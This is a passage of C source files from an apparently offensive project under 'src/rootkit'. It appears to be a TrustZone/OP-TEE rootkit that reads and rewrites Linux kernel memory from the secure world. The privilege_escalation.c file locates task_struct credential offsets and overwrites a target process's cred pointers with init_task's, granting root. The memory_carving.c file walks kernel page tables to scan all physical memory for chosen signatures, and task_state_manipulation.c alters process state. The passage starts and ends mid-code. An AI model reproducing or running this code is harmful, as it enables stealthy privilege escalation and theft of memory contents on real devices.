find_task_struct_pid_offset(paddr_t init_task_start, paddr_t task_struct_tasks_offset, paddr_t virtual_address_offset, address_translation_function va_to_pa) 269 | { 270 | const size_t NUM_SEARCHED_PAGES = 3; 271 | paddr_t current_task; 272 | pid_t expected_pid; 273 | const size_t TASKS_TO_CHECK = 10; 274 | bool first; 275 | paddr_t offset = 0; 276 | // Assumes struct member is aligned 277 | for (paddr_t guessed_offset = 0; guessed_offset < NUM_SEARCHED_PAGES * PAGE_SIZE; guessed_offset += sizeof(pid_t)) 278 | { 279 | expected_pid = 0; 280 | current_task = init_task_start; 281 | first = true; 282 | 283 | // Iterate over all tasks and search for an incrementing pattern 284 | while(first || (current_task != init_task_start && expected_pid < TASKS_TO_CHECK)) 285 | { 286 | first = false; 287 | 288 | paddr_t current_task_page = current_task & ~PAGE_MASK; 289 | 290 | paddr_t pid_page = (current_task + guessed_offset) & ~PAGE_MASK; 291 | struct mobj *pid_mobj = load_page(pid_page); 292 | if (!pid_mobj) 293 | break; 294 | 295 | uint8_t *pid_page_vaddr = mobj_get_va(pid_mobj, 0); 296 | pid_t *pid_vaddr = (pid_t *)(pid_page_vaddr + guessed_offset - (PAGE_SIZE - (current_task & PAGE_MASK)) - (pid_page - current_task_page - PAGE_SIZE)); 297 | pid_t task_pid = *pid_vaddr; 298 | free_page(pid_mobj); 299 | 300 | if (task_pid != expected_pid) 301 | { 302 | offset = 0; 303 | break; 304 | } 305 | 306 | expected_pid++; 307 | offset = guessed_offset; 308 | 309 | paddr_t tasks_page = (current_task + task_struct_tasks_offset) & ~PAGE_MASK; 310 | struct mobj *tasks_mobj = load_page(tasks_page); 311 | if (!tasks_mobj) 312 | break; 313 | 314 | uint8_t *tasks_page_vaddr = mobj_get_va(tasks_mobj, 0); 315 | uint8_t *tasks_vaddr = tasks_page_vaddr + task_struct_tasks_offset - (PAGE_SIZE - (current_task & PAGE_MASK)) - (tasks_page - current_task_page - PAGE_SIZE); 316 | current_task = (*va_to_pa)(*((uint64_t *)(tasks_vaddr)) - task_struct_tasks_offset, virtual_address_offset); 317 | free_page(tasks_mobj); 318 | } 319 | if (offset) 320 | return offset; 321 | } 322 | return ERROR_ADDR; 323 | } 324 | -------------------------------------------------------------------------------- /src/rootkit/commands/common.h: -------------------------------------------------------------------------------- 1 | #ifndef ROOTKIT_COMMANDS_COMMON_H 2 | #define ROOTKIT_COMMANDS_COMMON_H 3 | 4 | #include 5 | 6 | #include "../memory.h" 7 | 8 | void *find_uefi_header(void *vaddr); 9 | paddr_t find_kernel_entrypoint(void); 10 | paddr_t find_stext_addr(paddr_t uefi_header_addr); 11 | paddr_t find_init_task_name(paddr_t uefi_header_addr); 12 | paddr_t find_init_task_struct_signature(paddr_t init_task_name); 13 | paddr_t find_virtual_offset(paddr_t init_task_start); 14 | bool is_valid_comm(char *comm); 15 | paddr_t find_task_struct_tasks_offset(paddr_t init_task_start, paddr_t task_struct_name_offset, paddr_t virtual_address_offset, address_translation_function va_to_pa); 16 | paddr_t find_task_struct_pid_offset(paddr_t init_task_start, paddr_t task_struct_tasks_offset, paddr_t virtual_address_offset, address_translation_function va_to_pa); 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /src/rootkit/commands/memory_carving.c: -------------------------------------------------------------------------------- 1 | #include "memory_carving.h" 2 | #include "common.h" 3 | #include "../memory.h" 4 | #include "../utils.h" 5 | 6 | #include 7 | 8 | #define MAX_TRANSLATION_LEVEL 3 9 | #define TABLE_ADDRESS_MASK 0xFFFFFFFFF000 10 | #define PAGE_ADDRESS_MASK 0xFFFFFFFFF000 11 | #define MIN_BLOCK_TRANSLATION_LEVEL 1 12 | #define MAX_BLOCK_TRANSLATION_LEVEL 2 13 | #define PAGE_TRANSLATION_LEVEL 3 14 | 15 | const uint64_t BLOCK_ADRESS_MASKS[MAX_TRANSLATION_LEVEL + 1] = {-1, 0xFFFFC0000000, 0xFFFFFFE00000, -1}; 16 | 17 | 18 | void print_match(char *begin_vaddr); 19 | uint16_t process_page(paddr_t page_addr, char *signature_begin, char *signature_end); 20 | uint16_t process_block(paddr_t block_base_addr, uint8_t level, char *signature_begin, char *signature_end); 21 | uint16_t process_translation_level(paddr_t level_base_addr, uint8_t level, char *signature_begin, char *signature_end); 22 | uint16_t signature_search(paddr_t swapper_pg_dir_addr, char *signature_begin, char *signature_end); 23 | paddr_t find_swapper_pg_dir(paddr_t swapper_pg_dir_upper_bound_addr); 24 | 25 | 26 | void print_match(char *begin_vaddr) 27 | { 28 | trace_ext_puts(begin_vaddr); 29 | trace_ext_puts("\n"); 30 | } 31 | 32 | 33 | uint16_t process_page(paddr_t page_addr, char *signature_begin, char *signature_end) 34 | { 35 | uint16_t count = 0; 36 | 37 | struct mobj *mobj = load_page(page_addr); 38 | if (!mobj) 39 | return count; 40 | 41 | uint64_t *vaddr = mobj_get_va(mobj, 0); 42 | 43 | void *begin_vaddr = find(vaddr, PAGE_SIZE, signature_begin, strlen(signature_begin)); 44 | if (begin_vaddr != NULL) 45 | { 46 | void *end_vaddr = find(begin_vaddr, PAGE_SIZE - ((uint64_t)begin_vaddr - (uint64_t)vaddr), signature_end, strlen(signature_end)); 47 | if (end_vaddr != NULL) 48 | { 49 | paddr_t begin_paddr = page_addr + ((uint8_t *)begin_vaddr - (uint8_t *)vaddr); 50 | IMSG("found at %p:\n", (void *)begin_paddr); 51 | print_match(begin_vaddr); 52 | count++; 53 | } 54 | } 55 | 56 | free_page(mobj); 57 | return count; 58 | } 59 | 60 | 61 | uint16_t process_block(paddr_t block_base_addr, uint8_t level, char *signature_begin, char *signature_end) 62 | { 63 | uint16_t count = 0; 64 | uint64_t block_addr = block_base_addr; 65 | while ((block_addr & BLOCK_ADRESS_MASKS[level]) == block_base_addr) 66 | { 67 | count += process_page(block_addr, signature_begin, signature_end); 68 | block_addr += PAGE_SIZE; 69 | } 70 | return count; 71 | } 72 | 73 | 74 | uint16_t process_translation_level(paddr_t level_base_addr, uint8_t level, char *signature_begin, char *signature_end) 75 | { 76 | struct mobj *mobj = load_page(level_base_addr); 77 | if (!mobj) 78 | return 0; 79 | 80 | uint64_t *vaddr = mobj_get_va(mobj, 0); 81 | 82 | uint16_t count = 0; 83 | for(unsigned int i = 0; i < PAGE_SIZE / sizeof(uint64_t); i++) 84 | { 85 | uint64_t value = *(vaddr + i); 86 | 87 | if (!(value & 0x1)) 88 | continue; 89 | 90 | if (value & 0x2) 91 | { 92 | // On level 3, the addresses are single pages 93 | if (level == PAGE_TRANSLATION_LEVEL) 94 | { 95 | uint64_t page_addr = value & PAGE_ADDRESS_MASK; 96 | uint16_t page_count = process_page(page_addr, signature_begin, signature_end); 97 | count += page_count; 98 | } 99 | // On all other levels, addresses with bit 1 set are addresses of further translation tables 100 | else 101 | { 102 | if (level >= MAX_TRANSLATION_LEVEL) 103 | continue; 104 | 105 | // Bits[47:12] are bits[47:12] of the address of the required next-level table 106 | // Bits[11:0] of the table address are zero. 107 | uint64_t next_table_addr = value & TABLE_ADDRESS_MASK; 108 | count += process_translation_level(next_table_addr, level + 1, signature_begin, signature_end); 109 | } 110 | } 111 | else 112 | { 113 | // On level 1 and 2, the addresses are blocks 114 | if (level < MIN_BLOCK_TRANSLATION_LEVEL || level > MAX_BLOCK_TRANSLATION_LEVEL) 115 | continue; 116 | 117 | uint64_t block_addr = value & BLOCK_ADRESS_MASKS[level]; 118 | uint16_t block_count = process_block(block_addr, level, signature_begin, signature_end); 119 | count += block_count; 120 | } 121 | } 122 | 123 | free_page(mobj); 124 | return count; 125 | } 126 | 127 | 128 | uint16_t signature_search(paddr_t swapper_pg_dir_addr, char *signature_begin, char *signature_end) 129 | { 130 | return process_translation_level(swapper_pg_dir_addr, 0, signature_begin, signature_end); 131 | } 132 | 133 | 134 | paddr_t find_swapper_pg_dir(paddr_t swapper_pg_dir_upper_bound_addr) 135 | { 136 | // swapper_pg_dir_upper_bound_addr is assumed to be page-aligned 137 | for (paddr_t page = swapper_pg_dir_upper_bound_addr; page > 0; page -= PAGE_SIZE) 138 | { 139 | struct mobj *mobj = load_page(page); 140 | if (!mobj) 141 | continue; 142 | void *vaddr = mobj_get_va(mobj, 0); 143 | bool empty = is_empty_page(vaddr); 144 | free_page(mobj); 145 | if (!empty) 146 | return page; 147 | } 148 | return ERROR_ADDR; 149 | } 150 | 151 | 152 | TEE_Result memory_carving(uint32_t param_types, TEE_Param params[TEE_NUM_PARAMS]) 153 | { 154 | uint32_t exp_param_types = TEE_PARAM_TYPES(TEE_PARAM_TYPE_MEMREF_INPUT, 155 | TEE_PARAM_TYPE_MEMREF_INPUT, 156 | TEE_PARAM_TYPE_NONE, 157 | TEE_PARAM_TYPE_NONE); 158 | if (param_types != exp_param_types) 159 | return TEE_ERROR_BAD_PARAMETERS; 160 | 161 | char *signature_begin = params[0].memref.buffer; 162 | char *signature_end = params[1].memref.buffer; 163 | 164 | paddr_t uefi_header_addr = find_kernel_entrypoint(); 165 | IMSG("uefi header address: %p\n", (void *)uefi_header_addr); 166 | if (uefi_header_addr == ERROR_ADDR) 167 | return TEE_ERROR_GENERIC; 168 | 169 | paddr_t stext_addr = find_stext_addr(uefi_header_addr); 170 | IMSG("stext address: %p\n", (void *)stext_addr); 171 | if (stext_addr == ERROR_ADDR) 172 | return TEE_ERROR_GENERIC; 173 | 174 | // stext is aligned (ALIGN(SEGMENT_ALIGN)) 175 | // swapper_pg_dir is located at a lower address, assume stext - PAGE_SIZE as upper bound 176 | // and skip empty pages 177 | paddr_t swapper_pg_dir_upper_bound_addr = stext_addr - PAGE_SIZE; 178 | IMSG("swapper_pg_dir upper bound: %p\n", (void *)swapper_pg_dir_upper_bound_addr); 179 | if (swapper_pg_dir_upper_bound_addr == ERROR_ADDR) 180 | return TEE_ERROR_GENERIC; 181 | 182 | paddr_t swapper_pg_dir_addr = find_swapper_pg_dir(swapper_pg_dir_upper_bound_addr); 183 | IMSG("swapper_pg_dir address: %p\n", (void *)swapper_pg_dir_addr); 184 | if (swapper_pg_dir_addr == ERROR_ADDR) 185 | return TEE_ERROR_GENERIC; 186 | 187 | uint16_t num_findings = signature_search(swapper_pg_dir_addr, signature_begin, signature_end); 188 | IMSG("found %d matches\n", num_findings); 189 | 190 | return TEE_SUCCESS; 191 | } 192 | -------------------------------------------------------------------------------- /src/rootkit/commands/memory_carving.h: -------------------------------------------------------------------------------- 1 | #ifndef ROOTKIT_COMMANDS_MEMORY_CARVING_H 2 | #define ROOTKIT_COMMANDS_MEMORY_CARVING_H 3 | 4 | #include 5 | 6 | TEE_Result memory_carving(uint32_t param_types, TEE_Param params[TEE_NUM_PARAMS]); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /src/rootkit/commands/privilege_escalation.c: -------------------------------------------------------------------------------- 1 | #include "privilege_escalation.h" 2 | #include "common.h" 3 | #include "../linux.h" 4 | #include "../utils.h" 5 | 6 | #include 7 | 8 | 9 | bool change_task_struct_creds(pid_t target_pid, paddr_t init_task_start, paddr_t task_struct_tasks_offset, paddr_t task_struct_pid_offset, 10 | paddr_t task_struct_cred_offsets[NUM_CREDS], paddr_t virtual_address_offset, address_translation_function va_to_pa); 11 | void find_task_struct_cred_offsets(paddr_t init_task_start, paddr_t task_struct_tasks_offset, paddr_t task_struct_name_offset, paddr_t task_struct_pid_offset, 12 | paddr_t virtual_address_offset, pid_t cred_pid, paddr_t task_struct_cred_offsets[NUM_CREDS], address_translation_function va_to_pa); 13 | 14 | 15 | void find_task_struct_cred_offsets(paddr_t init_task_start, paddr_t task_struct_tasks_offset, paddr_t task_struct_name_offset, paddr_t task_struct_pid_offset, 16 | paddr_t virtual_address_offset, pid_t cred_pid, paddr_t task_struct_cred_offsets[NUM_CREDS], address_translation_function va_to_pa) 17 | { 18 | const size_t NUM_SEARCHED_PAGES = 3; 19 | const size_t NUM_CRED_ATTEMPTS = 100000; 20 | const size_t MIN_CRED_PROPERTY_OCCURRENCE = 1000; 21 | 22 | for (int i = 0; i < NUM_CREDS; i++) 23 | task_struct_cred_offsets[i] = ERROR_ADDR; 24 | 25 | bool valid_offsets_found = false; 26 | paddr_t init_task_page = init_task_start & ~PAGE_MASK; 27 | 28 | struct mobj *mobjs[NUM_SEARCHED_PAGES]; 29 | int num_loaded_pages = load_pages(init_task_page, NUM_SEARCHED_PAGES, mobjs); 30 | if (num_loaded_pages != NUM_SEARCHED_PAGES) 31 | return; 32 | uint64_t *vaddrs[NUM_SEARCHED_PAGES]; 33 | mobjs_get_vas(mobjs, NUM_SEARCHED_PAGES, vaddrs); 34 | void *init_task_cred_candidate = NULL; 35 | size_t offset = init_task_start & PAGE_OFFSET_MASK; 36 | 37 | while (true) 38 | { 39 | size_t page_index = offset / PAGE_SIZE; 40 | size_t page_offset = offset & PAGE_OFFSET_MASK; 41 | 42 | // Find any virtual address in the struct 43 | init_task_cred_candidate = find_va(vaddrs[page_index], PAGE_SIZE, page_offset); 44 | if (init_task_cred_candidate == NULL) 45 | { 46 | if (page_index < NUM_SEARCHED_PAGES - 1) 47 | { 48 | offset = (offset & ~PAGE_MASK) + PAGE_SIZE; 49 | continue; 50 | } 51 | break; 52 | } 53 | 54 | // Check if it is a pointer to the task_struct itself, which occurs quite frequently 55 | if (*((uint64_t *)init_task_cred_candidate) != (init_task_start + virtual_address_offset)) 56 | { 57 | // Check if the address occurs more than once 58 | size_t occurrences = 0; 59 | for (int i = 0; i < NUM_CREDS; i++) 60 | task_struct_cred_offsets[i] = ERROR_ADDR; 61 | for (size_t i = page_index; i < NUM_SEARCHED_PAGES && occurrences < NUM_CREDS; i++) 62 | { 63 | size_t current_page_offset = 0; 64 | if (i == page_index) 65 | current_page_offset = page_offset; 66 | size_t page_occurrences = find_gw_offsets(vaddrs[i], PAGE_SIZE, current_page_offset, *((uint64_t *)init_task_cred_candidate), task_struct_cred_offsets + occurrences, NUM_CREDS - occurrences); 67 | for (size_t j = occurrences; j < occurrences + page_occurrences; j++) 68 | { 69 | // Consider task_struct page offset 70 | task_struct_cred_offsets[j] -= init_task_start & PAGE_OFFSET_MASK; 71 | // Consider the page the offset is located on 72 | task_struct_cred_offsets[j] += i * PAGE_SIZE; 73 | } 74 | occurrences += page_occurrences; 75 | } 76 | 77 | if (occurrences >= NUM_CREDS) 78 | { 79 | // Check for known field offsets to prevent false-positives 80 | bool valid = true; 81 | for (size_t i = 0; i < occurrences && valid; i++) 82 | { 83 | if (task_struct_cred_offsets[i] == task_struct_tasks_offset) 84 | valid = false; 85 | if (task_struct_cred_offsets[i] == task_struct_name_offset) 86 | valid = false; 87 | } 88 | 89 | paddr_t current_task = init_task_start; 90 | // If we still have a valid candidate, find the target task by its PID 91 | while (valid) 92 | { 93 | paddr_t current_task_page = current_task & ~PAGE_MASK; 94 | paddr_t pid_page = (current_task + task_struct_pid_offset) & ~PAGE_MASK; 95 | struct mobj *pid_mobj = load_page(pid_page); 96 | if (!pid_mobj) 97 | return; 98 | 99 | uint8_t *pid_page_vaddr = mobj_get_va(pid_mobj, 0); 100 | pid_t *pid_vaddr = (pid_t *)(pid_page_vaddr + task_struct_pid_offset - (PAGE_SIZE - (current_task & PAGE_MASK)) - (pid_page - current_task_page - PAGE_SIZE)); 101 | pid_t task_pid = *pid_vaddr; 102 | free_page(pid_mobj); 103 | 104 | if (task_pid == cred_pid) 105 | { 106 | // Target task found 107 | 108 | paddr_t cred_pages[NUM_CREDS]; 109 | struct mobj *cred_mobjs[NUM_CREDS]; 110 | uint8_t *cred_page_vaddrs[NUM_CREDS]; 111 | int mapped_pages = 0; 112 | for (int cred_index = 0; cred_index < NUM_CREDS; cred_index++) 113 | { 114 | cred_pages[cred_index] = (current_task + task_struct_cred_offsets[cred_index]) & ~PAGE_MASK; 115 | cred_mobjs[cred_index] = load_page(cred_pages[cred_index]); 116 | if (!cred_mobjs[cred_index]) 117 | { 118 | for (int i = cred_index - 1; i >= 0; i--) 119 | free_page(cred_mobjs[i]); 120 | break; 121 | } 122 | cred_page_vaddrs[cred_index] = mobj_get_va(cred_mobjs[cred_index], 0); 123 | mapped_pages++; 124 | } 125 | if (mapped_pages != NUM_CREDS) 126 | break; 127 | 128 | size_t identical_found = 0; 129 | size_t difference_found = 0; 130 | // The user-space application calls the access syscall in a loop to cause a difference between cred and real_cred pointers. 131 | // Check the respective offsets (which contained identical values for init_task) for this difference. 132 | for (size_t attempt = 0; attempt < NUM_CRED_ATTEMPTS && valid; attempt++) 133 | { 134 | uint64_t cred_values[NUM_CREDS]; 135 | for (size_t i = 0; i < NUM_CREDS; i++) 136 | cred_values[i] = 0; 137 | 138 | for (size_t cred_index = 0; cred_index < NUM_CREDS && task_struct_cred_offsets[cred_index] != ERROR_ADDR && valid; cred_index++) 139 | { 140 | uint64_t *cred_vaddr = (uint64_t *)(cred_page_vaddrs[cred_index] + task_struct_cred_offsets[cred_index] - (PAGE_SIZE - (current_task & PAGE_MASK)) - (cred_pages[cred_index] - current_task_page - PAGE_SIZE)); 141 | uint64_t cred = *cred_vaddr; 142 | 143 | if (!is_va(cred)) 144 | { 145 | valid = false; 146 | break; 147 | } 148 | 149 | bool added = add_unique_value(cred_values, NUM_CREDS, cred); 150 | if (cred_index > 0) 151 | { 152 | if (added) 153 | difference_found++; 154 | else 155 | identical_found++; 156 | } 157 | } 158 | } 159 | 160 | for (int cred_index = 0; cred_index < NUM_CREDS; cred_index++) 161 | free_page(cred_mobjs[cred_index]); 162 | 163 | if (difference_found < MIN_CRED_PROPERTY_OCCURRENCE || identical_found < MIN_CRED_PROPERTY_OCCURRENCE) 164 | valid = false; 165 | 166 | if (valid) 167 | break; 168 | } 169 | 170 | paddr_t tasks_page = (current_task + task_struct_tasks_offset) & ~PAGE_MASK; 171 | struct mobj *tasks_mobj = load_page(tasks_page); 172 | if (!tasks_mobj) 173 | return; 174 | 175 | uint8_t *tasks_page_vaddr = mobj_get_va(tasks_mobj, 0); 176 | uint8_t *tasks_vaddr = tasks_page_vaddr + task_struct_tasks_offset - (PAGE_SIZE - (current_task & PAGE_MASK)) - (tasks_page - current_task_page - PAGE_SIZE); 177 | current_task = (*va_to_pa)(*((uint64_t *)(tasks_vaddr)) - task_struct_tasks_offset, virtual_address_offset); 178 | free_page(tasks_mobj); 179 | } 180 | 181 | if (valid) 182 | { 183 | valid_offsets_found = true; 184 | break; 185 | } 186 | } 187 | } 188 | 189 | // Continue right after the previously checked value 190 | offset = (page_index * PAGE_SIZE) + ((uint64_t)init_task_cred_candidate & PAGE_OFFSET_MASK) + sizeof(uint64_t); 191 | } 192 | 193 | free_pages(mobjs, NUM_SEARCHED_PAGES); 194 | 195 | if (valid_offsets_found) 196 | return; 197 | 198 | for (int i = 0; i < NUM_CREDS; i++) 199 | task_struct_cred_offsets[i] = ERROR_ADDR; 200 | } 201 | 202 | 203 | bool change_task_struct_creds(pid_t target_pid, paddr_t init_task_start, paddr_t task_struct_tasks_offset, paddr_t task_struct_pid_offset, 204 | paddr_t task_struct_cred_offsets[NUM_CREDS], paddr_t virtual_address_offset, address_translation_function va_to_pa) 205 | { 206 | paddr_t current_task = init_task_start; 207 | uint64_t init_task_cred_vaddr = 0; 208 | bool first = true; 209 | while(first || current_task != init_task_start) 210 | { 211 | paddr_t current_task_page = current_task & ~PAGE_MASK; 212 | 213 | paddr_t pid_page = (current_task + task_struct_pid_offset) & ~PAGE_MASK; 214 | struct mobj *pid_mobj = load_page(pid_page); 215 | if (!pid_mobj) 216 | return false; 217 | 218 | uint8_t *pid_page_vaddr = mobj_get_va(pid_mobj, 0); 219 | uint8_t *pid_vaddr = (uint8_t *)(pid_page_vaddr + task_struct_pid_offset - (PAGE_SIZE - (current_task & PAGE_MASK)) - (pid_page - current_task_page - PAGE_SIZE)); 220 | bool is_target_task = *((pid_t *) pid_vaddr) == target_pid; 221 | free_page(pid_mobj); 222 | 223 | for (int i = 0; i < NUM_CREDS && task_struct_cred_offsets[i] != ERROR_ADDR; i++) 224 | { 225 | paddr_t cred_page = (current_task + task_struct_cred_offsets[i]) & ~PAGE_MASK; 226 | struct mobj *cred_mobj = load_page(cred_page); 227 | if (!cred_mobj) 228 | return false; 229 | 230 | uint8_t *cred_page_vaddr = mobj_get_va(cred_mobj, 0); 231 | uint8_t *cred_vaddr = cred_page_vaddr + task_struct_cred_offsets[i] - (PAGE_SIZE - (current_task & PAGE_MASK)) - (cred_page - current_task_page - PAGE_SIZE); 232 | if (first) 233 | init_task_cred_vaddr = *((uint64_t *)cred_vaddr); 234 | else if (is_target_task) 235 | *((uint64_t *)cred_vaddr) = init_task_cred_vaddr; 236 | free_page(cred_mobj); 237 | } 238 | 239 | if (is_target_task) 240 | return true; 241 | 242 | paddr_t tasks_page = (current_task + task_struct_tasks_offset) & ~PAGE_MASK; 243 | struct mobj *tasks_mobj = load_page(tasks_page); 244 | if (!tasks_mobj) 245 | return false; 246 | 247 | uint8_t *tasks_page_vaddr = mobj_get_va(tasks_mobj, 0); 248 | uint8_t *tasks_vaddr = tasks_page_vaddr + task_struct_tasks_offset - (PAGE_SIZE - (current_task & PAGE_MASK)) - (tasks_page - current_task_page - PAGE_SIZE); 249 | current_task = (*va_to_pa)(*((uint64_t *)(tasks_vaddr)) - task_struct_tasks_offset, virtual_address_offset); 250 | free_page(tasks_mobj); 251 | 252 | first = false; 253 | } 254 | return false; 255 | } 256 | 257 | 258 | TEE_Result elevate_privileges(uint32_t param_types, TEE_Param params[TEE_NUM_PARAMS]) 259 | { 260 | uint32_t exp_param_types = TEE_PARAM_TYPES(TEE_PARAM_TYPE_VALUE_INPUT, 261 | TEE_PARAM_TYPE_VALUE_INPUT, 262 | TEE_PARAM_TYPE_NONE, 263 | TEE_PARAM_TYPE_NONE); 264 | if (param_types != exp_param_types) 265 | return TEE_ERROR_BAD_PARAMETERS; 266 | 267 | pid_t target_pid = params[0].value.a; 268 | pid_t cred_pid = params[1].value.a; 269 | 270 | paddr_t uefi_header_addr = find_kernel_entrypoint(); 271 | IMSG("uefi header address: %p\n", (void *)uefi_header_addr); 272 | if (uefi_header_addr == ERROR_ADDR) 273 | return TEE_ERROR_GENERIC; 274 | 275 | paddr_t init_task_name_addr = find_init_task_name(uefi_header_addr); 276 | IMSG("init_task name address: %p\n", (void *)init_task_name_addr); 277 | if (init_task_name_addr == ERROR_ADDR) 278 | return TEE_ERROR_GENERIC; 279 | 280 | paddr_t init_task_start = find_init_task_struct_signature(init_task_name_addr); 281 | IMSG("init_task start address: %p\n", (void *)init_task_start); 282 | if (init_task_start == ERROR_ADDR) 283 | return TEE_ERROR_GENERIC; 284 | 285 | paddr_t task_struct_name_offset = init_task_name_addr - init_task_start; 286 | IMSG("task_struct.comm offset: %lx\n", task_struct_name_offset); 287 | if (task_struct_name_offset == ERROR_ADDR) 288 | return TEE_ERROR_GENERIC; 289 | 290 | paddr_t virtual_address_offset = find_virtual_offset(init_task_start); 291 | IMSG("kernel virtual address offset (kimage_voffset): %lx\n", virtual_address_offset); 292 | if (virtual_address_offset == ERROR_ADDR) 293 | return TEE_ERROR_GENERIC; 294 | 295 | address_translation_function va_to_pa = NULL; 296 | paddr_t task_struct_tasks_offset = ERROR_ADDR; 297 | for (int i = 0; i < NUM_TRANSLATION_FUNCTIONS && task_struct_tasks_offset == ERROR_ADDR; i++) 298 | { 299 | IMSG("trying translation function %d\n", i); 300 | va_to_pa = available_translation_functions[i]; 301 | task_struct_tasks_offset = find_task_struct_tasks_offset(init_task_start, task_struct_name_offset, virtual_address_offset, va_to_pa); 302 | } 303 | IMSG("task_struct.tasks offset: %lx\n", task_struct_tasks_offset); 304 | if (task_struct_tasks_offset == ERROR_ADDR) 305 | return TEE_ERROR_GENERIC; 306 | 307 | paddr_t task_struct_pid_offset = find_task_struct_pid_offset(init_task_start, task_struct_tasks_offset, virtual_address_offset, va_to_pa); 308 | IMSG("task_struct.pid offset: %lx\n", task_struct_pid_offset); 309 | if (task_struct_pid_offset == ERROR_ADDR) 310 | return TEE_ERROR_GENERIC; 311 | 312 | IMSG("tasks:\n"); 313 | print_tasks(init_task_start, task_struct_tasks_offset, task_struct_name_offset, task_struct_pid_offset, virtual_address_offset, va_to_pa); 314 | 315 | paddr_t task_struct_cred_offsets[NUM_CREDS]; 316 | find_task_struct_cred_offsets(init_task_start, task_struct_tasks_offset, task_struct_name_offset, task_struct_pid_offset, virtual_address_offset, cred_pid, task_struct_cred_offsets, va_to_pa); 317 | IMSG("task_struct.cred offsets:\n"); 318 | for (int i = 0; i < NUM_CREDS && task_struct_cred_offsets[i] != ERROR_ADDR; i++) 319 | IMSG("\t%lx\n", task_struct_cred_offsets[i]); 320 | if (task_struct_cred_offsets[0] == ERROR_ADDR) 321 | return TEE_ERROR_GENERIC; 322 | 323 | IMSG("changing permissions of pid %d\n", target_pid); 324 | bool cred_change_successful = change_task_struct_creds(target_pid, init_task_start, task_struct_tasks_offset, 325 | task_struct_pid_offset, task_struct_cred_offsets, 326 | virtual_address_offset, va_to_pa); 327 | if (cred_change_successful) 328 | { 329 | IMSG("changed permissions\n"); 330 | return TEE_SUCCESS; 331 | } 332 | else 333 | { 334 | IMSG("could not change permissions\n"); 335 | return TEE_ERROR_GENERIC; 336 | } 337 | } 338 | -------------------------------------------------------------------------------- /src/rootkit/commands/privilege_escalation.h: -------------------------------------------------------------------------------- 1 | #ifndef ROOTKIT_COMMANDS_PRIVILEGE_ESCALATION_H 2 | #define ROOTKIT_COMMANDS_PRIVILEGE_ESCALATION_H 3 | 4 | #include 5 | 6 | TEE_Result elevate_privileges(uint32_t param_types, TEE_Param params[TEE_NUM_PARAMS]); 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /src/rootkit/commands/sub.mk: -------------------------------------------------------------------------------- 1 | srcs-y += common.c 2 | srcs-y += memory_carving.c 3 | srcs-y += privilege_escalation.c 4 | srcs-y += task_state_manipulation.c 5 | -------------------------------------------------------------------------------- /src/rootkit/commands/task_state_manipulation.c: -------------------------------------------------------------------------------- 1 | #include "task_state_manipulation.h" 2 | #include "common.h" 3 | #include "../utils.h" 4 | 5 | #include 6 | 7 | 8 | bool change_task_struct_state(pid_t target_pid, paddr_t init_task_start, paddr_t task_struct_tasks_offset, paddr_t task_struct_pid_offset, 9 | paddr_t task_struct_state_offset, paddr_t virtual_address_offset, address_translation_function va_to_pa, long new_state); 10 | paddr_t find_task_struct_state_offset(paddr_t init_task_start, paddr_t task_struct_tasks_offset, 11 | paddr_t virtual_address_offset, address_translation_function va_to_pa); 12 | 13 | 14 | paddr_t find_task_struct_state_offset(paddr_t init_task_start, paddr_t task_struct_tasks_offset, 15 | paddr_t virtual_address_offset, address_translation_function va_to_pa) 16 | { 17 | const size_t NUM_SEARCHED_PAGES = 3; 18 | 19 | paddr_t current_task; 20 | uint32_t counter[NUM_COUNTED_STATES]; 21 | 22 | // Assumes struct member is aligned 23 | for (paddr_t guessed_offset = 0; guessed_offset < NUM_SEARCHED_PAGES * PAGE_SIZE; guessed_offset += sizeof(uint64_t)) 24 | { 25 | current_task = init_task_start; 26 | bool first = true; 27 | 28 | reset_task_state_counter(counter); 29 | 30 | while(first || (current_task != init_task_start)) 31 | { 32 | first = false; 33 | 34 | paddr_t current_task_page = current_task & ~PAGE_MASK; 35 | 36 | paddr_t state_page = (current_task + guessed_offset) & ~PAGE_MASK; 37 | struct mobj *state_mobj = load_page(state_page); 38 | if (!state_mobj) 39 | break; 40 | 41 | uint8_t *state_page_vaddr = mobj_get_va(state_mobj, 0); 42 | unsigned int *state_vaddr = state_page_vaddr + guessed_offset - (PAGE_SIZE - (current_task & PAGE_MASK)) - (state_page - current_task_page - PAGE_SIZE); 43 | uint64_t state = *state_vaddr; 44 | free_page(state_mobj); 45 | 46 | count_task_state(state, counter); 47 | 48 | paddr_t tasks_page = (current_task + task_struct_tasks_offset) & ~PAGE_MASK; 49 | struct mobj *tasks_mobj = load_page(tasks_page); 50 | if (!tasks_mobj) 51 | break; 52 | 53 | uint8_t *tasks_page_vaddr = mobj_get_va(tasks_mobj, 0); 54 | uint8_t *tasks_vaddr = tasks_page_vaddr + task_struct_tasks_offset - (PAGE_SIZE - (current_task & PAGE_MASK)) - (tasks_page - current_task_page - PAGE_SIZE); 55 | current_task = (*va_to_pa)(*((uint64_t *)(tasks_vaddr)) - task_struct_tasks_offset, virtual_address_offset); 56 | free_page(tasks_mobj); 57 | } 58 | 59 | if (task_state_count_valid(counter)) 60 | return guessed_offset; 61 | } 62 | 63 | return ERROR_ADDR; 64 | } 65 | 66 | 67 | bool change_task_struct_state(pid_t target_pid, paddr_t init_task_start, paddr_t task_struct_tasks_offset, paddr_t task_struct_pid_offset, 68 | paddr_t task_struct_state_offset, paddr_t virtual_address_offset, address_translation_function va_to_pa, long new_state) 69 | { 70 | paddr_t current_task = init_task_start; 71 | bool first = true; 72 | while(first || current_task != init_task_start) 73 | { 74 | paddr_t current_task_page = current_task & ~PAGE_MASK; 75 | 76 | paddr_t pid_page = (current_task + task_struct_pid_offset) & ~PAGE_MASK; 77 | struct mobj *pid_mobj = load_page(pid_page); 78 | if (!pid_mobj) 79 | return false; 80 | 81 | uint8_t *pid_page_vaddr = mobj_get_va(pid_mobj, 0); 82 | uint8_t *pid_vaddr = pid_page_vaddr + task_struct_pid_offset - (PAGE_SIZE - (current_task & PAGE_MASK)) - (pid_page - current_task_page - PAGE_SIZE); 83 | bool is_target_task = *((pid_t *) pid_vaddr) == target_pid; 84 | free_page(pid_mobj); 85 | 86 | if (is_target_task) 87 | { 88 | paddr_t state_page = (current_task + task_struct_state_offset) & ~PAGE_MASK; 89 | struct mobj *state_mobj = load_page(state_page); 90 | if (!state_mobj) 91 | return false; 92 | 93 | uint8_t *state_page_vaddr = mobj_get_va(state_mobj, 0); 94 | uint8_t 